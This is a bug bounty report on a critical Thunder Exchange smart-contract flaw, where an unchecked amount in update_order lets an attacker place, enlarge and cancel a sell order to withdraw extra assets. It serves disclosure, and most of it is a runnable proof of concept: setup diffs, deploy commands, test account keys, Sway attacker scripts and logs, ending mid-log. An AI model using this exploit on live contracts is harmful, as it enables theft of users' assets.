Submitted on Sun Sep 01 2024 17:46:18 GMT-0400 (Atlantic Standard Time) by @anatomist for IOP | ThunderNFT
Report ID: #34949
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/thunder_exchange
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Description
Brief/Intro
Thunder Exchange lacks proper validation during the update_order
function for sell-side orders. When transferring assets back to the user, the exchange may transfer an incorrect amount of previously stored assets, allowing an attacker to steal assets from Thunder Exchange.
Vulnerability Details
When placing a sell-side order, Thunder Exchange checks if the user provides the correct asset and amount that match the details claimed in the order. However, when updating a sell-side order, proper validation is missing . The only check performed is _validate_updated_order
when calling the strategy's update_order
function, which verifies that the maker, collection, token_id, and payment_asset remain the same, but it does not check for the amount.
When canceling the order, Thunder Exchange transfers back the corresponding asset and amount based on the updated order. Therefore, an attacker can exploit this by placing a sell-side order with the minimum asset amount, then updating the order to a higher amount, and finally canceling it to steal the additional assets from Thunder Exchange.
A prerequisite for this attack is that there must be multiple instances of the same asset stored in Thunder Exchange. In Fuel, NFTs differ from those in Ethereum as they are native assets, blurring the boundary between NFTs and fungible tokens (FTs). This ambiguity makes it plausible that users might use this protocol to sell FTs. Furthermore, fractional NFTs exist in Ethereum, so we can't strongly assert that there is only one NFT for each asset (contract, token_id pair). Therefore, this scenario is highly likely to occur.
Impact Details
An attacker can steal assets from Thunder Exchange by placing a sell-side order with a small amount, then updating the order to a higher amount without proper validation, and finally canceling the order to receive the increased amount. This exploit is possible when there are multiple instances of one asset (i.e., not unique) in Thunder Exchange.
References
https://github.com/ThunderFuel/smart-contracts/blob/260c9859e2cd28c188e8f6283469bcf57c9347de/contracts-v1/thunder_exchange/src/main.sw#L124 https://github.com/ThunderFuel/smart-contracts/blob/260c9859e2cd28c188e8f6283469bcf57c9347de/contracts-v1/execution_strategies/strategy_fixed_price_sale/src/main.sw#L413 https://github.com/ThunderFuel/smart-contracts/blob/260c9859e2cd28c188e8f6283469bcf57c9347de/contracts-v1/thunder_exchange/src/main.sw#L161
Proof of concept
Proof of Concept
Prerequisite
To demonstrate the impact, we need to set up two accounts: an admin account to set up the Thunder Exchange contract and an attacker account to exploit the vulnerability and steal funds from Thunder Exchange.
Attacker Account
Account: 0xd0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c
Private Key: 306a75f0093834948e363ece5ba1b5a7eaad99f2fc9ab976ba01c2dbea3320f6
Admin Account
Account: 0x400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6
Private Key: a710552d8d29a0f7aefcb412399fbb041a31ae155cb0eb95d370bf8f99f0409f
Local Node Setup
This PoC uses commit a9e5e89f5fb38e3b3d6e6bdfe1ad339a01f2f3b9
of Fuel-Core.
Modify state_config.json
to allocate initial funds to the above two accounts:
Copy diff --git a/bin/fuel-core/chainspec/local-testnet/state_config.json b/bin/fuel-core/chainspec/local-testnet/state_config.json
index b0f3e1c85..ec9961ab6 100644
--- a/bin/fuel-core/chainspec/local-testnet/state_config.json
+++ b/bin/fuel-core/chainspec/local-testnet/state_config.json
@@ -5,7 +5,7 @@
"output_index": 0,
"tx_pointer_block_height": 0,
"tx_pointer_tx_idx": 0,
- "owner": "6b63804cfbf9856e68e5b6e7aef238dc8311ec55bec04df774003a2c96e0418e",
+ "owner": "0xd0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c",
"amount": 1152921504606846976,
"asset_id": "f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07"
},
@@ -14,7 +14,7 @@
"output_index": 0,
"tx_pointer_block_height": 0,
"tx_pointer_tx_idx": 0,
- "owner": "54944e5b8189827e470e5a8bacfc6c3667397dc4e1eef7ef3519d16d6d6c6610",
+ "owner": "0x400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6",
"amount": 1152921504606846976,
"asset_id": "f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07"
},
After building the local node with cargo build --release
, run the node with:
Copy ./target/release/fuel-core run --db-type in-memory --poa-instant true --debug --snapshot ./bin/fuel-core/chainspec/local-testnet/
Client Patch
This PoC uses commit efda0397c7bee77de73bd726ec0b732d57614973
of Sway.
I used the forc-run
client to deploy the contract and run the PoC script. Since adding an output address directly isn't straightforward, I patched the client as follows:
Copy diff --git a/forc-plugins/forc-client/src/op/run/mod.rs b/forc-plugins/forc-client/src/op/run/mod.rs
index 49047de3a..f6a0e30ba 100644
--- a/forc-plugins/forc-client/src/op/run/mod.rs
+++ b/forc-plugins/forc-client/src/op/run/mod.rs
@@ -119,7 +119,12 @@ pub async fn run_pkg(
let mut tb = TransactionBuilder::script(compiled.bytecode.bytes.clone(), script_data);
tb.maturity(command.maturity.maturity.into())
- .add_contracts(contract_ids);
+ .add_contracts(contract_ids)
+ .add_output(fuel_tx::Output::variable(fuel_tx::Address::zeroed(), 0, fuel_tx::AssetId::BASE))
+ .add_output(fuel_tx::Output::variable(fuel_tx::Address::zeroed(), 0, fuel_tx::AssetId::BASE))
+ .add_output(fuel_tx::Output::variable(fuel_tx::Address::zeroed(), 0, fuel_tx::AssetId::BASE))
+ .add_output(fuel_tx::Output::variable(fuel_tx::Address::zeroed(), 0, fuel_tx::AssetId::BASE))
+ .add_output(fuel_tx::Output::variable(fuel_tx::Address::zeroed(), 0, fuel_tx::AssetId::BASE));
let provider = Provider::connect(node_url.clone()).await?;
Deploying Thunder Exchange Contract
Use the admin account to deploy all the contracts listed below and retrieve their respective contract addresses. Here's an example output for subsequent reference:
Run the following command in each contract's directory to deploy the contracts:
Copy ./target/release/forc-deploy a710552d8d29a0f7aefcb412399fbb041a31ae155cb0eb95d370bf8f99f0409f
Example output showing deployed contract addresses:
Copy thunder_exchange: 0xa2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136
asset_manager: 0x9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9
execution_manager: 0xd6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55
royalty_manager: 0x149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838
pool: 0x0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f
fixed_strategy: 0x79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55
Setup Script
This script sets up the Thunder Exchange protocol using the admin's account and transfers 100,000 base assets into Thunder Exchange. This setup is to demo the exploit where the attacker can steal these base assets.
Note that the deployed contract addresses are hardcoded in the main function; you will need to change these to your own deployed contract addresses.
Forc.toml
Copy [project]
authors = [ "anatomist" ]
entry = "main.sw"
license = "Apache-2.0"
name = "POC_Setup"
[dependencies]
interfaces = {path = "../interfaces" }
libraries = {path = "../libraries" }
src/main.sw
Copy script;
use interfaces :: {
thunder_exchange_interface :: { ThunderExchange },
royalty_manager_interface ::* ,
asset_manager_interface ::* ,
execution_manager_interface :: ExecutionManager ,
execution_strategy_interface ::* ,
pool_interface :: Pool ,
};
use libraries :: {
msg_sender_address ::* ,
constants ::* ,
order_types ::* ,
ownable ::* ,
};
use std :: {
block :: timestamp,
auth ::* ,
call_frames ::* ,
context ::* ,
contract_id :: ContractId ,
logging :: log,
revert :: require,
storage :: storage_map ::* ,
asset ::*
};
fn initialize (
thunder_exchange : ContractId ,
asset_manager : ContractId ,
execution_manager : ContractId ,
royalty_manager : ContractId ,
fixed_strategy : ContractId ,
pool : ContractId ,
) {
let thunder_exchange_abi = abi ( ThunderExchange , thunder_exchange . into ());
thunder_exchange_abi . initialize ();
thunder_exchange_abi . set_asset_manager (asset_manager);
thunder_exchange_abi . set_execution_manager (execution_manager);
thunder_exchange_abi . set_royalty_manager (royalty_manager);
thunder_exchange_abi . set_pool (pool);
let asset_manager_abi = abi ( AssetManager , asset_manager . into ());
asset_manager_abi . initialize ();
asset_manager_abi . add_asset (AssetId :: base ());
let fixed_strategy_abi = abi ( ExecutionStrategy , fixed_strategy . into ());
fixed_strategy_abi . initialize (thunder_exchange);
let execution_manager_abi = abi ( ExecutionManager , execution_manager . into ());
execution_manager_abi . initialize ();
execution_manager_abi . add_strategy (fixed_strategy);
let royalty_manager_abi = abi ( RoyaltyManager , royalty_manager . into ());
royalty_manager_abi . initialize ();
let pool_abi = abi ( Pool , pool . into ());
pool_abi . initialize (thunder_exchange, asset_manager);
}
fn main () {
let thunder_exchange = ContractId :: from ( 0xa2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136 );
let asset_manager = ContractId :: from ( 0x9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9 );
let execution_manager = ContractId :: from ( 0xd6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55 );
let royalty_manager = ContractId :: from ( 0x149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838 );
let pool = ContractId :: from ( 0x0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f );
let fixed_strategy = ContractId :: from ( 0x79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55 );
initialize (
thunder_exchange,
asset_manager,
execution_manager,
royalty_manager,
fixed_strategy,
pool,
);
transfer (Identity :: ContractId (thunder_exchange), AssetId :: base (), 100000 );
}
Running Setup Script
Use the following command with the patched forc-run
and the admin account's private key to execute the setup script.
Note that we are using the contract addresses from the deployment output above.
Copy ./target/release/forc-run a710552d8d29a0f7aefcb412399fbb041a31ae155cb0eb95d370bf8f99f0409f \
--script-gas-limit 10000000 --node-url http://localhost:4000/v1/graphql \
--contract 0xa2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136 \
--contract 0x9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9 \
--contract 0xd6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55 \
--contract 0x149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838 \
--contract 0x0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f \
--contract 0x79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55
Upon running the setup script, you should see an output similar to the following:
Copy [{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9974317,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28216,"param1":67107840,"param2":67106816,"pc":28216,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28216,"len":40,"pc":41152,"ptr":67103232,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28216,"len":0,"pc":41308,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9789568,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67101696,"param2":67100672,"pc":28432,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28432,"len":0,"pc":43580,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9708195,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67097600,"param2":67096576,"pc":28432,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28432,"len":0,"pc":43976,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9626403,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67093504,"param2":67092480,"pc":28432,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28432,"len":0,"pc":45904,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9543606,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67089408,"param2":67088384,"pc":28432,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":28432,"len":0,"pc":45052,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9462938,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28216,"param1":67085312,"param2":67084288,"pc":28216,"to":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9","is":28216,"len":40,"pc":49468,"ptr":67080704,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9","is":28216,"len":0,"pc":31876,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9352254,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":27848,"param1":67079680,"param2":67078656,"pc":27848,"to":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9","is":27848,"len":0,"pc":29116,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9201365,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67074240,"param2":67073216,"pc":28432,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":28432,"len":40,"pc":61968,"ptr":67069632,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":28432,"len":0,"pc":34112,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9036594,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28216,"param1":67068096,"param2":67067072,"pc":28216,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":28216,"len":40,"pc":50040,"ptr":67063488,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":28216,"len":0,"pc":30784,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":8925866,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28432,"param1":67062464,"param2":67061440,"pc":28432,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":28432,"len":0,"pc":29700,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":8777266,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":28216,"param1":67057024,"param2":67056000,"pc":28216,"to":"149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838","is":28216,"len":40,"pc":31736,"ptr":67052416,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838","is":28216,"len":0,"pc":31744,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":8663034,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":27848,"param1":67051392,"param2":67050368,"pc":27848,"to":"0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f"}},{"LogData":{"data":"0000000000000000400a9edbd439d107dec7273932d2e1df7b7fb49a53eb75323e2d696e8b88aeb6","digest":"6aa290c45414c81f58f4afd98b3ac7a53c8b2f8efc8489c0fece14acaae36f07","id":"0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f","is":27848,"len":40,"pc":51612,"ptr":67046784,"ra":0,"rb":9517900813706399297}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f","is":27848,"len":0,"pc":29772,"ptr":0}},{"Transfer":{"amount":100000,"asset_id":"f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07","id":"0000000000000000000000000000000000000000000000000000000000000000","is":10368,"pc":14844,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"0000000000000000000000000000000000000000000000000000000000000000","is":10368,"len":0,"pc":10484,"ptr":67044736}},{"ScriptResult":{"gas_used":1562020,"result":"Success"}}]
Attacker Script
This script demonstrates the process by which an attacker can place an order of 1 base asset, change the amount to 2, and then cancel the order to get 2 base assets back, effectively stealing 1 extra base asset from Thunder Exchange.
The collection (0x7e2becd64cd598da59b4d1064b711661898656c6b1f4918a787156b8965dc83c
) and token_id
(0) correspond to the default base asset (f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07
).
Note that the deployed contract addresses are hardcoded in the main function; you will need to change these to your own deployed contract addresses.
Forc.toml
Copy [project]
authors = [ "anatomist" ]
entry = "main.sw"
license = "Apache-2.0"
name = "POC"
[dependencies]
interfaces = {path = "../interfaces" }
libraries = {path = "../libraries" }
src/main.sw
Copy script;
use interfaces :: {
thunder_exchange_interface :: { ThunderExchange },
royalty_manager_interface ::* ,
asset_manager_interface ::* ,
execution_manager_interface :: ExecutionManager ,
execution_strategy_interface ::* ,
pool_interface :: Pool ,
};
use libraries :: {
msg_sender_address ::* ,
constants ::* ,
order_types ::* ,
ownable ::* ,
};
use std :: {
block :: timestamp,
auth ::* ,
call_frames ::* ,
context ::* ,
contract_id :: ContractId ,
logging :: log,
revert :: require,
storage :: storage_map ::* ,
asset ::*
};
fn attack (
thunder_exchange : ContractId
) {
let before_balance = balance_of (thunder_exchange, AssetId :: base ());
// make a new sell order
let thunder_exchange_abi = abi ( ThunderExchange , thunder_exchange . into ());
let execute_manager = thunder_exchange_abi . get_execution_manager ();
let execute_manager_abi = abi ( ExecutionManager , execute_manager . into ());
let fixed_strategy = execute_manager_abi . get_whitelisted_strategy ( 0 ) . unwrap ();
let nonce = abi(ExecutionStrategy, fixed_strategy.into()).get_order_nonce_of_user(caller_address().unwrap(), Side::Sell) + 1;
let mut maker_order_input : MakerOrderInput = MakerOrderInput {
side : Side :: Sell ,
maker : caller_address () . unwrap (),
collection : ContractId :: from ( 0x7e2becd64cd598da59b4d1064b711661898656c6b1f4918a787156b8965dc83c ),
token_id : SubId :: zero (),
price : 1 ,
amount : 1 ,
nonce : nonce,
strategy : fixed_strategy,
payment_asset : AssetId :: base (),
expiration_range : 100 ,
extra_params : ExtraParams {
extra_address_param : Address :: zero (),
extra_contract_param : ContractId :: zero (),
extra_u64_param : 0 ,
},
};
thunder_exchange_abi . place_order{asset_id : AssetId :: base () . into (), coins : 1 }(maker_order_input);
// change amount of sell order
maker_order_input . amount = 2 ;
thunder_exchange_abi . update_order (maker_order_input);
// cancel and steal funds
thunder_exchange_abi . cancel_order (
fixed_strategy,
nonce,
Side :: Sell ,
);
let after_balance = balance_of (thunder_exchange, AssetId :: base ());
// log the balance to prove fund has been stolen
log (before_balance);
log (after_balance);
}
fn main () {
let thunder_exchange = ContractId :: from ( 0xa2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136 );
attack (thunder_exchange);
}
Running Attacker Script
Before running the attacker script, we need to patch contracts-v1/libraries/src/order_types.sw
. Making ExtraParams
public will simplify our exploit script.
Copy diff --git a/contracts-v1/libraries/src/order_types.sw b/contracts-v1/libraries/src/order_types.sw
index fba6f60..f01bfb0 100644
--- a/contracts-v1/libraries/src/order_types.sw
+++ b/contracts-v1/libraries/src/order_types.sw
@@ -34,7 +34,7 @@ impl core::ops::Eq for TokenType {
}
}
-struct ExtraParams {
+pub struct ExtraParams {
pub extra_address_param: Address,
pub extra_contract_param: ContractId,
pub extra_u64_param: u64,
Use the following command with the patched forc-run
and the attacker account's private key to execute the attack script.
Note that we are using the contract addresses from the deployment output above.
Copy ./target/release/forc-run 306a75f0093834948e363ece5ba1b5a7eaad99f2fc9ab976ba01c2dbea3320f6 \
--script-gas-limit 10000000 --node-url http://localhost:4000/v1/graphql \
--contract 0xa2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136 \
--contract 0x9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9 \
--contract 0xd6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55 \
--contract 0x149193109764bc485c460b66860514d9f6531ec96d21f95ed62fc16c8b019838 \
--contract 0x0f64fc31e22c2a1b81210bff5ab05b4929c9a5aecf9698272a1f67704753345f \
--contract 0x79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55
Upon running the attack script, you should see an output similar to the following:
Copy [{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9977104,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":31840,"param1":67107840,"param2":67106816,"pc":31840,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"ReturnData":{"data":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","digest":"9751a8dc8f1ff72bfaabd58a98a25eed8ea34b1b5163dfaabcad60ac3745ea2d","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":31840,"len":32,"pc":40980,"ptr":67104256}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9954547,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":31840,"param1":67103232,"param2":67102208,"pc":31840,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"ReturnData":{"data":"000000000000000179e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","digest":"daf047f114f50e57880cc4e713a91926b6823f8a803d7bc28de6ca5c0c513181","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":31840,"len":40,"pc":34280,"ptr":67099168}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9920863,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":31840,"param1":67098144,"param2":67097120,"pc":31840,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"ReturnData":{"data":"0000000000000000","digest":"af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":31840,"len":8,"pc":36808,"ptr":67094560}},{"Call":{"amount":1,"asset_id":"f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07","gas":9885347,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":33640,"param1":67093536,"param2":67092512,"pc":33640,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9855365,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":114704,"param1":67089440,"param2":67088416,"pc":114704,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"ReturnData":{"data":"01","digest":"4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":114704,"len":1,"pc":117800,"ptr":67085856}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9828838,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":114704,"param1":67084320,"param2":67083296,"pc":114704,"to":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9"}},{"ReturnData":{"data":"01","digest":"4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a","id":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9","is":114704,"len":1,"pc":118896,"ptr":67080736}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9798486,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":113264,"param1":67079712,"param2":67078688,"pc":113264,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":113264,"len":0,"pc":121348,"ptr":0}},{"LogData":{"data":"0000000000000001d0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c7e2becd64cd598da59b4d1064b711661898656c6b1f4918a787156b8965dc83c000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000001000000000000000179e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad074000000066d483f24000000066d48456000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","digest":"55b2b60967795688051a97a41d02aa10067505d7745af1de1dcb8bfe971afc3a","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":33640,"len":280,"pc":80460,"ptr":67071920,"ra":0,"rb":13895587280595317858}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b